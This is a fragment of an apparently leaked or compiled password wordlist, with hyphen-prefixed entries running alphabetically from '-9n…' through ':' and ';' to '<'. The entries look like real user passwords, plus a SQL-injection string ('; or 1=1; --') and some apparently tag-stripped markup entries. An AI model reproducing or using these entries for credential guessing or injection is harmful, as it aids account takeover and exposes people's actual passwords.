-9nhfsa3w -9nietzsche -9ninac9 -9nine9 -9nlgzra0 -9nnRq -9nohLap5 -9notenler -9np2kyuo6 -9npr15 -9nqvy6g9ld -9ns1n5st -9nskI7tk -9nty9traxx -9nu1kutv -9nud37rs -9nw670u -9nw9davide -9nwdiN -9nzqq6ve -9o2xDBU637 -9o78if8jx -9o9SRJI836 -9oMmr9QF -9oQaBF3q -9oQvyJXF -9oT3QmZ288 -9oTmereH3 -9oUxp1 -9october -9oh5b29Pc -9oktcharly -9oldwin9 -9olxps -9oo123114 -9oo1819 -9oprfDI414 -9oqheliuA -9ortobi -9otfbW -9otfjang -9ottingh -9p0opp -9p3nq5x5 -9p4u2r3er -9p5G3W -9p5VyqNN -9p8Rue8772 -9p9drpcd -9pB87pe642 -9pDOmW7548 -9pIPP6I283 -9pKFCE -9pMLeN -9pO0iR -9pONvRY191 -9pPpz7dZ -9pa2DRO224 -9pagqhx -9pagqhxr -9paws9 -9payne -9pb6MF -9pearl7 -9pfNEBb@ -9pg4re -9pgp954F -9phYH2 -9phthisis3 -9piotrdepta -9pkkIQ0268 -9pnn7ps9 -9pointsouljah -9princes -9project0 -9prudji -9psDI4iM -9pxAuK6793 -9pxE4P7O -9q0CeM -9q1chJ -9q520oRY -9qCUgB -9qCtOx -9qFB3zNl -9qN7iuqJ -9qSXDag965 -9qTNg16F -9qWiHrdu -9qYXcjGt -9qb3nKVJ -9qc8dq -9qik3agg -9qjkHcL4 -9qjsytl -9qsHAiuB -9qtw6mtE -9qvryh -9qxgguzfti -9qy2ki -9r0t3l -9r181L17 -9r1uihre -9r2Tvex678 -9r30sA1K -9r3vg3ii -9r48eazgk -9r4vampf -9r5dsk -9r7QEwQr -9r7yui1e -9r8Rs1 -9r8y729429 -9rFmWa2c -9rH5cEms -9rJ1XPO219 -9rMCZg -9rOXVg5Y -9rR8hPVW -9rUD5mTj -9rcWu6yi3 -9re1f56ef4 -9re5ht -9readzlotz2 -9red3duf -9rey400nd -9rf17a -9rgPBqy364 -9rh7oCz674 -9rhcdtn70 -9rhcpss42 -9rhrg6 -9rjb22 -9rlVDp4h -9rmmb7 -9rohit7 -9rq59MzG -9rqceJBC -9rrc5 -9rrwy943` -9rs64u4 -9rtzlz8b -9rusty007 -9s2N3J -9s45z12d -9s56d6jyw -9s645531 -9s6i9l6v -9s79ffnmr -9s8BTTP4 -9s8b9r3y -9s8vg257E -9s90e30i6 -9sP0QvUj -9sabuyr3 -9sadako -9sakura6 -9sally9 -9scs9d2u -9sdRw8g784 -9selene9 -9sep1937jw -9september93 -9sers9 -9sfesZok -9sfhdvoc -9shizen9 -9shizensan9 -9siripunyo -9sjs5fgy -9slNYy2v -9slikeh761 -9smile0 -9smkle0du -9soccer9 -9sogkz -9spFn1am -9sqaSB8s -9stefani -9stefanie -9steven9 -9stqO3pu -9su3tq8m -9su4u6 -9sua1bbzk -9sumo5 -9superwhites -9sv2YL -9svqma8v06b -9swe4 -9swricha -9sws@KT -9t$s2t -9t4W4 -9t5h9o8r -9t71i7 -9t793273 -9t7aWb -9t7h3@wv -9tGi6E -9tR1P0 -9tSg1 -9tUFJWnw -9ten72 -9th -9th-moon -9th/6th/1992 -9theco29 -9thfloor -9thl31779 -9thlife -9thsof -9thward -9tiablaler -9tiovewh -9tipper -9titles -9tkj9n4k -9tnxr7knx -9toaplep -9tofphpbb -9tqZLt -9treydeuce -9tuckcw2 -9tv6ogqd -9tvfreaks123 -9twsmJa596 -9txjwu -9u2WCa3431 -9u7cV2hZ -9u7tzo -9u8y4k -9uH3nV -9uJUYK -9uM-7d-a -9uaqf9b429ulqf -9ubatf40 -9ufoRA-O -9ugxc23ev -9uipaK -9ujVOx2982 -9ukctzmc -9un1tFC627 -9uoDifey -9usVFNzE -9uuseu -9uv1wdIW -9uz3bk -9v04in -9v6304 -9v6mmyGt -9vCSfY -9vCWUZdR -9vEw9qPW -9vG2D7$2 -9vGa9u45 -9vHNDem566 -9vHRQdd9 -9vLYyE4166 -9vSc0u -9vU0hP4716 -9vYAqyb7 -9vectra5 -9ved259k -9vfpma=7 -9vivi -9vkbzgk -9vlTWTJoKKEe -9vuivv -9vux8h9n -9vv6rdgk -9w3bS0f1 -9w5d8wiq -9w7pD3q195 -9w90yA -9wCZqbG631 -9wIM6hwU -9wOmHw -9wTkR6YY -9wb4WaX966 -9wcEB3e762 -9wdlneb1 -9weead*() -9wertha -9wewu97a49vqmm -9whJ1dnG -9whxxdag -9wiyknbr -9wp8qq -9wpozm -9wt93Lh9 -9wtbGM -9wthgf -9wtno4v672 -9wuYZa1448 -9x17Py -9x2y8Neyy -9x32ra -9x41 -9x7isbig -9xB -9xIVeS5385 -9xIz8Cn579 -9xMTxbm0 -9xMbQB -9xV -9xV47C8aB -9xbgt4f -9xdgaf! -9xeL56 -9xh62uw -9xl2wbxyepdim5 -9xmr2ocsl -9xnWOoNU -9xnemuh -9xorp0+o -9xr3sVDe -9xwhznq5 -9xz10loj65 -9y1SU5QJ -9y238xrb0 -9y2nrUul -9y5cbuzwc0 -9y7tckw7q0wtlv -9y8heVR982 -9y8mAdn5 -9y8nqBgf -9y99w11rz -9y9d16N389 -9yAoq7i6 -9yB0DR -9yBC32i -9yKC0H -9yZHqq7138 -9ybmtg -9yea06t95 -9yifUbKM -9ykamoSN -9ylloh4 -9ym434vxbw -9ymYDfJ -9yo71o6vd -9you9 -9yqkd -9yrBJBBG -9yrca2 -9yrreiht -9yryzk -9ystTkAi -9yuspcv2 -9z29z1o2 -9z2ns2a90 -9z3a7GC3s -9z48IL -9z5xhy46 -9z85IRtI -9z88ph -9z9z9z -9zB0uYsU -9zDh9rZ733 -9zQY3Ary -9zUh5r6944 -9zaZ8fICU -9zamU-113 -9zaruela3 -9zb8nk6s -9zg21usb -9zgr3e32 -9zhF609931 -9zhrv8jb -9ziCb9o229 -9zjhN9 -9zlldUbm -9zryweca -9zt2xQt282 -9ztg2xug -9zudnS -9zwVua -9zyn5nxt -9zyv9z6v -9|9IY19 -9}3]T1G -: -:&K9)BU -:)Q -:)Taucher:) -:+Q9M@ -:,* -:,saku986 -:0) -:140040 -:20 -:365814745296: -:3=PO"6 -:5LGw -:7a -:8692V( -:: -:::::::::::::::: -:@-?6868 -:CHOMCS -:DDlawl -:F57M -:I3 -:JOHN@CENA: -:S?wO -:_)PURZ -:b821 -:br0wnh0u53 -:dNW"n -:dalebeto: -:dk130152 -:dpdlgfm -:enamorada: -:f,fAhju -:fedja:0 -:hansol1979 -:insert1, -:metallica: -:milou! -:ptl!7 -:r4Sz -:shelby -:wD7B -:ygC' -:zark: -; -; or 1=1; -- -;-)mysql -;., -;048580246 -;4fdtie -;>8 -;BOURVI -;F6-X.2 -;Hawking1 -;LK00KL -;STA.03 -;TYMKI1 -;X82VMT -;^/I!V9 -;a4eae -;acsnimda -;asdf5 -;bFi0oN -;bbsithk; -;bnmlkzct,z -;bpymujdyj -;bvtitv -;c1234567899 -;digsat04 -;dooby221. -;dreamqwer -;jgf ;jgf1 -;lk -;lk;lk -;lkasd -;lkj33 -;lkjasdf -;lkjasdfu -;lkjhgf -;lkjiu -;lkjthea -;lkn;okn -;nhhsontra -;omlomz -;qwernagra -;r7o5m3. -;tktpyfz-17 -;tongue -;trf2204 -;vhgv`v!@# -;xduffy; -<#azadeh#> -<'d -<,.-<,.- -<-----> -<1Fj! -<3<3<3 -<3<3emma -<3dready -<3guess -<3pusenmin<3 -<3sanna -<3}@AB% -<8AWQ_^ -<<,,.. -<<>> -<<9JZE2 -<>?()& -<>?,./8 -<>?/()p - - - - - - - - - -Hello -bold -yo man! - - -h -